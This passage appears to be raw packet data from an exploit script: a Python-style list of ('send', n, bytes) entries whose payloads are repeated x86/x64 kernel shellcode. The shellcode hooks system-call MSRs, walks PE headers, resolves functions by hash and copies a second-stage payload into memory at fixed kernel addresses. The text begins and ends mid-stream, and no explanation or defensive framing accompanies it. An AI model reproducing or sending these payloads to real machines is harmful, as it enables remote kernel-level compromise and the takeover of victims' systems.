0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 9, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 10, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 